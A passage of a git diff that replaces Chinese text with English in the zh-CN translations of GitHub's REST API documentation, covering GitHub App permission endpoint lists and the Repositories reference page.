有关“组织管理”的权限 +### Permission on "organization administration" - [`PATCH /orgs/:org`](/rest/reference/orgs#update-an-organization) (:write) {% ifversion fpt -%} @@ -642,11 +647,11 @@ _团队_ - [`DELETE /orgs/:org/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) (:write) {% endif %} -### 有关“组织事件”的权限 +### Permission on "organization events" - [`GET /users/:username/events/orgs/:org`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) (:read) -### 有关“组织挂钩”的权限 +### Permission on "organization hooks" - [`GET /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#list-organization-webhooks) (:read) - [`POST /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#create-an-organization-webhook) (:write) @@ -655,11 +660,11 @@ _团队_ - [`DELETE /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#delete-an-organization-webhook) (:write) - [`POST /orgs/:org/hooks/:hook_id/pings`](/rest/reference/orgs#webhooks/#ping-an-organization-webhook) (:write) -_团队_ +_Teams_ - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read) {% ifversion ghes %} -### 有关“组织预接收挂钩”的权限 +### Permission on "organization pre receive hooks" - [`GET /orgs/:org/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) (:read) - [`GET /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) (:read) @@ -667,7 +672,7 @@ _团队_ - [`DELETE /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) (:write) {% endif %} -### 有关“组织项目”的权限 +### Permission on "organization projects" - [`POST /orgs/:org/projects`](/rest/reference/projects#create-an-organization-project) (:write) - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read) @@ -688,7 +693,7 @@ _团队_ - [`POST /projects/columns/cards/:card_id/moves`](/rest/reference/projects#move-a-project-card) (:write) {% ifversion fpt or ghec %} -### 有关"组织用户阻止"的权限 +### Permission on "organization user blocking" - [`GET /orgs/:org/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) (:read) - [`GET /orgs/:org/blocks/:username`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) (:read) @@ -696,7 +701,7 @@ _团队_ - [`DELETE /orgs/:org/blocks/:username`](/rest/reference/orgs#unblock-a-user-from-an-organization) (:write) {% endif %} -### 有关“页面”的权限 +### Permission on "pages" - [`GET /repos/:owner/:repo/pages`](/rest/reference/repos#get-a-github-pages-site) (:read) - [`POST /repos/:owner/:repo/pages`](/rest/reference/repos#create-a-github-pages-site) (:write) @@ -710,9 +715,9 @@ _团队_ - [`GET /repos/:owner/:repo/pages/health`](/rest/reference/repos#get-a-dns-health-check-for-github-pages) (:write) {% endif %} -### 有关“拉取请求”的权限 +### Permission on "pull requests" -拉取请求和议题密切相关。 如果您的 GitHub 应用程序拥有处理拉取请求的权限但没有处理议题的权限，则这些端点将仅限于处理拉取请求。 既返回拉取请求又返回议题的端点将被过滤。 允许对拉取请求和议题进行操作的端点将被限制为仅处理拉取请求。 +Pull requests and issues are closely related. If your GitHub App has permissions on pull requests but not on issues, these endpoints will be limited to pull requests. Endpoints that return both pull requests and issues will be filtered. Endpoints that allow operations on both pull requests and issues will be restricted to pull requests. - [`PATCH /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#update-an-issue) (:write) - [`GET /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#list-issue-comments) (:read) @@ -738,18 +743,18 @@ _团队_ - [`PATCH /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) (:write) - [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) (:write) -_受理人_ +_Assignees_ - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read) - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write) - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write) -_事件_ +_Events_ - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read) - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read) - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) (:write) -_标签_ +_Labels_ - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read) - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write) - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write) @@ -761,7 +766,7 @@ _标签_ - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write) - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write) -_里程碑_ +_Milestones_ - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read) - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read) @@ -769,7 +774,7 @@ _里程碑_ - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write) - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read) -_反应_ +_Reactions_ - [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (:write) - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read) - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write) @@ -787,12 +792,12 @@ _反应_ - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write) {% endif %} -_请求的审查者_ +_Requested reviewers_ - [`GET /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request) (:read) - [`POST /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) (:write) - [`DELETE /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) (:write) -_审查_ +_Reviews_ - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) (:read) - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) (:write) - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#get-a-review-for-a-pull-request) (:read) @@ -801,11 +806,11 @@ _审查_ - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) (:read) - [`PUT /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) (:write) -### 有关“个人资料”的权限 +### Permission on "profile" - [`PATCH /user`](/rest/reference/users#update-the-authenticated-user) (:write) -### 有关“仓库挂钩”的权限 +### Permission on "repository hooks" - [`GET /repos/:owner/:repo/hooks`](/rest/reference/repos#list-repository-webhooks) (:read) - [`POST /repos/:owner/:repo/hooks`](/rest/reference/repos#create-a-repository-webhook) (:write) @@ -816,7 +821,7 @@ _审查_ - [`POST /repos/:owner/:repo/hooks/:hook_id/tests`](/rest/reference/repos#test-the-push-repository-webhook) (:read) {% ifversion ghes %} -### 有关“仓库预接收挂钩”的权限 +### Permission on "repository pre receive hooks" - [`GET /repos/:owner/:repo/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository) (:read) - [`GET /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository) (:read) @@ -824,7 +829,7 @@ _审查_ - [`DELETE /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) (:write) {% endif %} -### 有关“仓库项目”的权限 +### Permission on "repository projects" - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read) - [`PATCH /projects/:project_id`](/rest/reference/projects#update-a-project) (:write) @@ -845,11 +850,11 @@ _审查_ - [`GET /repos/:owner/:repo/projects`](/rest/reference/projects#list-repository-projects) (:read) - [`POST /repos/:owner/:repo/projects`](/rest/reference/projects#create-a-repository-project) (:write) -_团队_ +_Teams_ - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read) {% ifversion fpt or ghec %} -### 有关“密钥”的权限 +### Permission on "secrets" - [`GET /repos/:owner/:repo/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (:read) - [`GET /repos/:owner/:repo/actions/secrets`](/rest/reference/actions#list-repository-secrets) (:read) @@ -868,14 +873,14 @@ _团队_ {% endif %} {% ifversion fpt or ghes > 3.0 or ghec %} -### 对于“密码扫描警报”的权限 +### Permission on "secret scanning alerts" - [`GET /repos/:owner/:repo/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) (:read) - [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) (:read) - [`PATCH /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#update-a-secret-scanning-alert) (:write) {% endif %} -### 有关“安全事件”的权限 +### Permission on "security events" - [`GET /repos/:owner/:repo/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) (:read) - [`GET /repos/:owner/:repo/code-scanning/alerts/:alert_number`](/rest/reference/code-scanning#get-a-code-scanning-alert) (:read) @@ -896,34 +901,39 @@ _团队_ {% endif -%} {% ifversion fpt or ghes or ghec %} -### 有关“自托管运行器”的权限 +### Permission on "self-hosted runners" - [`GET /orgs/:org/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) (:read) - [`POST /orgs/:org/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) (:write) - [`GET /orgs/:org/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) (:read) - [`GET /orgs/:org/actions/runners/:runner_id`](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization) (:read) - [`POST /orgs/:org/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-organization) (:write) - [`DELETE /orgs/:org/actions/runners/:runner_id`](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization) (:write) +- [`GET /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-organization) (:read) +- [`POST /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization) (:write) +- [`PUT /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-organization) (:write) +- [`DELETE /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-organization) (:write) +- [`DELETE /orgs/:org/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) (:write) {% endif %} -### 有关“单个文件”的权限 +### Permission on "single file" - [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (:read) - [`PUT /repos/:owner/:repo/contents/:path`](/rest/reference/repos#create-or-update-file-contents) (:write) - [`DELETE /repos/:owner/:repo/contents/:path`](/rest/reference/repos#delete-a-file) (:write) -### 有关“星标”的权限 +### Permission on "starring" - [`GET /user/starred/:owner/:repo`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) (:read) - [`PUT /user/starred/:owner/:repo`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) (:write) - [`DELETE /user/starred/:owner/:repo`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) (:write) -### 有关“状态”的权限 +### Permission on "statuses" - [`GET /repos/:owner/:repo/commits/:ref/status`](/rest/reference/repos#get-the-combined-status-for-a-specific-reference) (:read) - [`GET /repos/:owner/:repo/commits/:ref/statuses`](/rest/reference/repos#list-commit-statuses-for-a-reference) (:read) - [`POST /repos/:owner/:repo/statuses/:sha`](/rest/reference/repos#create-a-commit-status) (:write) -### 有关“团队讨论”的权限 +### Permission on "team discussions" - [`GET /teams/:team_id/discussions`](/rest/reference/teams#list-discussions) (:read) - [`POST /teams/:team_id/discussions`](/rest/reference/teams#create-a-discussion) (:write) diff --git a/translations/zh-CN/content/rest/reference/repos.md b/translations/zh-CN/content/rest/reference/repos.md index c76c9acc7c..ca85509c37 100644 --- a/translations/zh-CN/content/rest/reference/repos.md +++ b/translations/zh-CN/content/rest/reference/repos.md @@ -1,6 +1,6 @@ --- -title: 仓库 -intro: '仓库 API 允许创建、管理以及控制公共和私有 {% data variables.product.product_name %} 仓库的工作流程。' +title: Repositories +intro: 'The Repos API allows to create, manage and control the workflow of public and private {% data variables.product.product_name %} repositories.' allowTitleToDifferFromFilename: true redirect_from: - /v3/repos @@ -19,62 +19,57 @@ miniTocMaxHeadingLevel: 3 {% endfor %} {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4742 %} -## 自动链接 +## Autolinks -{% tip %} +To help streamline your workflow, you can use the API to add autolinks to external resources like JIRA issues and Zendesk tickets. For more information, see "[Configuring autolinks to reference external resources](/github/administering-a-repository/configuring-autolinks-to-reference-external-resources)." -**注意：** Autolink API 处于测试阶段，可能会改变。 - -{% endtip %} - -为了帮助简化您的工作流程，您可以使用 API 向外部资源（如 JIRA 问题和 Zendesk 事件单）添加自动链接。 更多信息请参阅“[配置自动链接以引用外部资源](/github/administering-a-repository/configuring-autolinks-to-reference-external-resources)”。 - -{% data variables.product.prodname_github_apps %} 需要有读写权限的仓库管理权限才能使用 Autolinks API。 +{% data variables.product.prodname_github_apps %} require repository administration permissions with read or write access to use the Autolinks API. {% for operation in currentRestOperations %} {% if operation.subcategory == 'autolinks' %}{% include rest_operation %}{% endif %} {% endfor %} {% endif %} -## 分支 +## Branches {% for operation in currentRestOperations %} {% if operation.subcategory == 'branches' %}{% include rest_operation %}{% endif %} {% endfor %} -## 协作者 +## Collaborators {% for operation in currentRestOperations %} {% if operation.subcategory == 'collaborators' %}{% include rest_operation %}{% endif %} {% endfor %} -## 评论 +## Comments -### 提交评论的自定义媒体类型 +### Custom media types for commit comments -以下是提交评论支持的媒体类型。 您可以在[此处](/rest/overview/media-types)阅读有关 API 中媒体类型使用情况的更多信息。 +These are the supported media types for commit comments. You can read more +about the use of media types in the API [here](/rest/overview/media-types). application/vnd.github-commitcomment.raw+json application/vnd.github-commitcomment.text+json application/vnd.github-commitcomment.html+json application/vnd.github-commitcomment.full+json -更多信息请参阅“[自定义媒体类型](/rest/overview/media-types)”。 +For more information, see "[Custom media types](/rest/overview/media-types)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'comments' %}{% include rest_operation %}{% endif %} {% endfor %} -## 提交 +## Commits -仓库提交 API 支持列出、查看和比较仓库中的提交。 +The Repo Commits API supports listing, viewing, and comparing commits in a repository. {% for operation in currentRestOperations %} {% if operation.subcategory == 'commits' %}{% include rest_operation %}{% endif %} {% endfor %} {% ifversion fpt or ghec %} -## 社区 +## Community {% for operation in currentRestOperations %} {% if operation.subcategory == 'community' %}{% include rest_operation %}{% endif %} @@ -82,54 +77,56 @@ miniTocMaxHeadingLevel: 3 {% endif %} -## 内容 +## Contents -此 API 端点允许您在仓库中创建、修改和删除 Base64 编码的内容。 要请求原始格式或渲染的 HTML（如果支持），请对仓库内容使用自定义媒体类型。 +These API endpoints let you create, modify, and delete Base64 encoded content in a repository. To request the raw format or rendered HTML (when supported), use custom media types for repository contents. -### 仓库内容的自定义媒体类型 +### Custom media types for repository contents -[自述文件](/rest/reference/repos#get-a-repository-readme)、[文件](/rest/reference/repos#get-repository-content)和[符号链接](/rest/reference/repos#get-repository-content)支持以下自定义媒体类型： +[READMEs](/rest/reference/repos#get-a-repository-readme), [files](/rest/reference/repos#get-repository-content), and [symlinks](/rest/reference/repos#get-repository-content) support the following custom media types: application/vnd.github.VERSION.raw application/vnd.github.VERSION.html -使用 `.raw` 媒体类型检索文件内容。 +Use the `.raw` media type to retrieve the contents of the file. -对于 Markdown 或 AsciiDoc 等标记文件，您可以使用 `.html` 媒体类型检索渲染的 HTML。 使用我们的开源[标记库](https://github.com/github/markup)将标记语言渲染为 HTML。 +For markup files such as Markdown or AsciiDoc, you can retrieve the rendered HTML using the `.html` media type. Markup languages are rendered to HTML using our open-source [Markup library](https://github.com/github/markup). -[所有对象](/rest/reference/repos#get-repository-content)都支持以下自定义媒体类型： +[All objects](/rest/reference/repos#get-repository-content) support the following custom media type: application/vnd.github.VERSION.object -使用 `object` 媒体类型参数以一致的对象格式检索内容，而不考虑内容类型。 例如，响应将是包含对象数组的 `entries` 属性的对象，而不是目录的对象数组。 +Use the `object` media type parameter to retrieve the contents in a consistent object format regardless of the content type. For example, instead of an array of objects +for a directory, the response will be an object with an `entries` attribute containing the array of objects. -您可以在[此处](/rest/overview/media-types)阅读有关 API 中媒体类型使用情况的更多信息。 +You can read more about the use of media types in the API [here](/rest/overview/media-types). {% for operation in currentRestOperations %} {% if operation.subcategory == 'contents' %}{% include rest_operation %}{% endif %} {% endfor %} -## 部署密钥 +## Deploy keys {% data reusables.repositories.deploy-keys %} -部署密钥可以使用以下 API 端点进行设置，也可以使用 GitHub 进行设置。 要了解如何在 GitHub 中设置部署密钥，请参阅“[管理部署密钥](/developers/overview/managing-deploy-keys)”。 +Deploy keys can either be setup using the following API endpoints, or by using GitHub. To learn how to set deploy keys up in GitHub, see "[Managing deploy keys](/developers/overview/managing-deploy-keys)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'keys' %}{% include rest_operation %}{% endif %} {% endfor %} -## 部署 +## Deployments -部署是部署特定引用（分支、SHA、标记）的请求。 GitHub 分发一个 [`deployment` 事件](/developers/webhooks-and-events/webhook-events-and-payloads#deployment)，使外部服务可以在创建新部署时侦听并采取行动。 部署使开发者和组织能够围绕部署构建松散耦合的工具，而不必担心交付不同类型的应用程序（例如 Web 和本地应用程序）的实现细节。 +Deployments are requests to deploy a specific ref (branch, SHA, tag). GitHub dispatches a [`deployment` event](/developers/webhooks-and-events/webhook-events-and-payloads#deployment) that external services can listen for and act on when new deployments are created. Deployments enable developers and organizations to build loosely coupled tooling around deployments, without having to worry about the implementation details of delivering different types of applications (e.g., web, native). -部署状态允许外部服务将部署标记为 `error`、`failure`、`pending`、`in_progress`、`queued` 或 `success` 状态，以供侦听 [`deployment_status` 事件](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status)的系统使用。 +Deployment statuses allow external services to mark deployments with an `error`, `failure`, `pending`, `in_progress`, `queued`, or `success` state that systems listening to [`deployment_status` events](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status) can consume. -部署状态还可以包含可选的 `description` 和 `log_url`，强烈建议使用它们，因为它们使部署状态更有用。 `log_url` 是部署输出的完整 URL，`description` 是关于部署过程中所发生情况的高级摘要。 +Deployment statuses can also include an optional `description` and `log_url`, which are highly recommended because they make deployment statuses more useful. The `log_url` is the full URL to the deployment output, and +the `description` is a high-level summary of what happened with the deployment. -在创建新的部署和部署状态时，GitHub 将分发 `deployment` 和 `deployment_status` 事件。 这些事件允许第三方集成接收对部署请求的响应，并在取得进展时更新部署的状态。 +GitHub dispatches `deployment` and `deployment_status` events when new deployments and deployment statuses are created. These events allows third-party integrations to receive respond to deployment requests and update the status of a deployment as progress is made. -下面是一个说明这些交互的工作方式的简单序列图。 +Below is a simple sequence diagram for how these interactions would work. ``` +---------+ +--------+ +-----------+ +-------------+ @@ -158,25 +155,25 @@ miniTocMaxHeadingLevel: 3 | | | | ``` -请记住，GitHub 从未真正访问过您的服务器。 与部署事件的交互取决于第三方集成。 多个系统可以侦听部署事件，由其中每个系统来决定它们是否负责将代码推送到服务器、构建本地代码等。 +Keep in mind that GitHub is never actually accessing your servers. It's up to your third-party integration to interact with deployment events. Multiple systems can listen for deployment events, and it's up to each of those systems to decide whether they're responsible for pushing the code out to your servers, building native code, etc. -请注意，`repo_deployment` [OAuth 作用域](/developers/apps/scopes-for-oauth-apps)授予对部署和部署状态的定向访问权限，但**不**授予对仓库代码的访问权限，而 {% ifversion not ghae %}`public_repo` 和{% endif %}`repo` 作用域还授予对代码的权限。 +Note that the `repo_deployment` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to deployments and deployment statuses **without** granting access to repository code, while the {% ifversion not ghae %}`public_repo` and{% endif %}`repo` scopes grant permission to code as well. -### 非活动部署 +### Inactive deployments -当您将部署状态设置为 `success` 时，同一仓库中所有先前的非瞬态、非生产环境部署将变成 `inactive`。 为避免这种情况，您可以在创建部署状态时将 `auto_inactive` 设置为 `false`。 +When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. To avoid this, you can set `auto_inactive` to `false` when creating the deployment status. -您可以通过将 `state` 设为 `inactive` 来表示某个瞬态环境不再存在。 将 `state` 设为 `inactive`，表示部署在 {% data variables.product.prodname_dotcom %} 中 `destroyed` 并删除对它的访问权限。 +You can communicate that a transient environment no longer exists by setting its `state` to `inactive`. Setting the `state` to `inactive` shows the deployment as `destroyed` in {% data variables.product.prodname_dotcom %} and removes access to it. {% for operation in currentRestOperations %} {% if operation.subcategory == 'deployments' %}{% include rest_operation %}{% endif %} {% endfor %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## 环境 +## Environments -环境 API 允许您创建、配置和删除环境。 有关环境的更多信息，请参阅“[使用环境进行部署](/actions/deployment/using-environments-for-deployment)”。 要管理环境密码，请参阅“[密码](/rest/reference/actions#secrets)”。 +The Environments API allows you to create, configure, and delete environments. For more information about environments, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." To manage environment secrets, see "[Secrets](/rest/reference/actions#secrets)." {% data reusables.gated-features.environments %} @@ -185,21 +182,23 @@ miniTocMaxHeadingLevel: 3 {% endfor %} {% endif %} -## 复刻 +## Forks {% for operation in currentRestOperations %} {% if operation.subcategory == 'forks' %}{% include rest_operation %}{% endif %} {% endfor %} -## 邀请 +## Invitations -仓库邀请 API 允许用户或外部服务邀请其他用户参与仓库协作。 受邀用户（或代表受邀用户的外部服务）可以选择接受或拒绝邀请。 +The Repository Invitations API allows users or external services to invite other users to collaborate on a repo. The invited users (or external services on behalf of invited users) can choose to accept or decline the invitations. -请注意，`repo:invite` [OAuth 作用域](/developers/apps/scopes-for-oauth-apps)授予对邀请的定向访问权限，但**不**授予对仓库代码的访问权限，而 `repo` 作用域同时授予对代码和邀请的权限。 +Note that the `repo:invite` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted +access to invitations **without** also granting access to repository code, while the +`repo` scope grants permission to code as well as invitations. -### 邀请用户参与仓库 +### Invite a user to a repository -使用 API 端点来添加协作者。 更多信息请参阅“[添加仓库协作者](/rest/reference/repos#add-a-repository-collaborator)”。 +Use the API endpoint for adding a collaborator. For more information, see "[Add a repository collaborator](/rest/reference/repos#add-a-repository-collaborator)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'invitations' %}{% include rest_operation %}{% endif %} @@ -215,42 +214,44 @@ miniTocMaxHeadingLevel: 3 {% endif %} -## 合并 +## Merging -仓库合并 API 支持合并仓库中的分支。 其过程基本上等同于在本地仓库中合并分支然后将其推送到 {% data variables.product.product_name %}。 其好处是合并是在服务器端完成的，不需要使用本地仓库。 这使它更适用于自动化，以及使用其他工具维护本地仓库比较繁琐且低效的情况。 +The Repo Merging API supports merging branches in a repository. This accomplishes +essentially the same thing as merging one branch into another in a local repository +and then pushing to {% data variables.product.product_name %}. The benefit is that the merge is done on the server side and a local repository is not needed. This makes it more appropriate for automation and other tools where maintaining local repositories would be cumbersome and inefficient. -经过身份验证的用户将是通过此端点完成的任何合并的作者。 +The authenticated user will be the author of any merges done through this endpoint. {% for operation in currentRestOperations %} {% if operation.subcategory == 'merging' %}{% include rest_operation %}{% endif %} {% endfor %} -## 页面 +## Pages -{% data variables.product.prodname_pages %} API 可检索关于您的 {% data variables.product.prodname_pages %} 配置以及构建状态的信息。 只有经过验证的所有者才能访问有关网站和构建的信息{% ifversion not ghae %}，即使网站是公开的也一样{% endif %}。 更多信息请参阅“[关于 {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)”。 +The {% data variables.product.prodname_pages %} API retrieves information about your {% data variables.product.prodname_pages %} configuration, and the statuses of your builds. Information about the site and the builds can only be accessed by authenticated owners{% ifversion not ghae %}, even if the websites are public{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)." -在其响应中包含 `status` 键的 {% data variables.product.prodname_pages %} API 端点中，其值可能是以下值之一： -* `null`：站点尚未构建。 -* `queued`：已请求构建，但尚未开始。 -* `building`：正在构建中。 -* `built`：站点已构建。 -* `errored`：表示构建过程中发生错误。 +In {% data variables.product.prodname_pages %} API endpoints with a `status` key in their response, the value can be one of: +* `null`: The site has yet to be built. +* `queued`: The build has been requested but not yet begun. +* `building`:The build is in progress. +* `built`: The site has been built. +* `errored`: Indicates an error occurred during the build. -在返回 GitHub Pages 站点信息的 {% data variables.product.prodname_pages %} API 端点中，JSON 响应包括以下字段： -* `html_url`：所渲染的 Pages 站点的绝对 URL（包括模式）。 例如，`https://username.github.io`。 -* `source`：包含所渲染 Pages 站点的源分支和目录的对象。 这包括： - - `branch`：用于发布[站点源文件](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)的仓库分支。 例如，_main_ 或 _gh-pages_。 - - `path`：提供站点发布内容的仓库目录。 可能是 `/` 或 `/docs`。 +In {% data variables.product.prodname_pages %} API endpoints that return GitHub Pages site information, the JSON responses include these fields: +* `html_url`: The absolute URL (including scheme) of the rendered Pages site. For example, `https://username.github.io`. +* `source`: An object that contains the source branch and directory for the rendered Pages site. This includes: + - `branch`: The repository branch used to publish your [site's source files](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). For example, _main_ or _gh-pages_. + - `path`: The repository directory from which the site publishes. Will be either `/` or `/docs`. {% for operation in currentRestOperations %} {% if operation.subcategory == 'pages' %}{% include rest_operation %}{% endif %} {% endfor %} -## 版本发布 +## Releases {% note %} -**注：**发布 API 取代了下载 API。 您可以从返回发行版和发行版资产的 API 端点检索下载次数和浏览器下载 URL。 +**Note:** The Releases API replaces the Downloads API. You can retrieve the download count and browser download URL from the endpoints in this API that return releases and release assets. {% endnote %} @@ -258,101 +259,120 @@ miniTocMaxHeadingLevel: 3 {% if operation.subcategory == 'releases' %}{% include rest_operation %}{% endif %} {% endfor %} -## 统计 +## Statistics -仓库统计 API 允许您获取 {% data variables.product.product_name %} 用于可视化不同类型仓库活动的数据。 +The Repository Statistics API allows you to fetch the data that {% data variables.product.product_name %} uses for visualizing different +types of repository activity. -### 谈一谈缓存 +### A word about caching -计算仓库统计信息是一项昂贵的操作，所以我们尽可能返回缓存的数据。 如果您查询仓库的统计信息时，数据尚未缓存，您将会收到 `202` 响应；同时触发后台作业以开始编译这些统计信息。 稍等片刻，待作业完成，然后再次提交请求。 如果作业已完成，该请求将返回 `200` 响应，响应正文中包含统计信息。 +Computing repository statistics is an expensive operation, so we try to return cached +data whenever possible. If the data hasn't been cached when you query a repository's +statistics, you'll receive a `202` response; a background job is also fired to +start compiling these statistics. Give the job a few moments to complete, and +then submit the request again. If the job has completed, that request will receive a +`200` response with the statistics in the response body. -仓库统计信息由仓库默认分支的 SHA 缓存；推送到默认分支将重置统计信息缓存。 +Repository statistics are cached by the SHA of the repository's default branch; pushing to the default branch resets the statistics cache. -### 统计排除某些类型的提交 +### Statistics exclude some types of commits -API 公开的统计信息与[各种仓库图](/github/visualizing-repository-data-with-graphs/about-repository-graphs)显示的统计信息相匹配。 +The statistics exposed by the API match the statistics shown by [different repository graphs](/github/visualizing-repository-data-with-graphs/about-repository-graphs). -总结： -- 所有统计信息都排除合并提交。 -- 参与者统计信息还排除空提交。 +To summarize: +- All statistics exclude merge commits. +- Contributor statistics also exclude empty commits. {% for operation in currentRestOperations %} {% if operation.subcategory == 'statistics' %}{% include rest_operation %}{% endif %} {% endfor %} -## 状态 +## Statuses -状态 API 允许外部服务将提交标记为 `error`、`failure`、`pending` 或 `success` 状态，然后将其反映在涉及这些提交的拉取请求中。 +The status API allows external services to mark commits with an `error`, +`failure`, `pending`, or `success` state, which is then reflected in pull requests +involving those commits. -状态还可以包含可选的 `description` 和 `target_url`，强烈建议使用它们，因为它们使状态在 GitHub UI 中更有用。 +Statuses can also include an optional `description` and `target_url`, and +we highly recommend providing them as they make statuses much more +useful in the GitHub 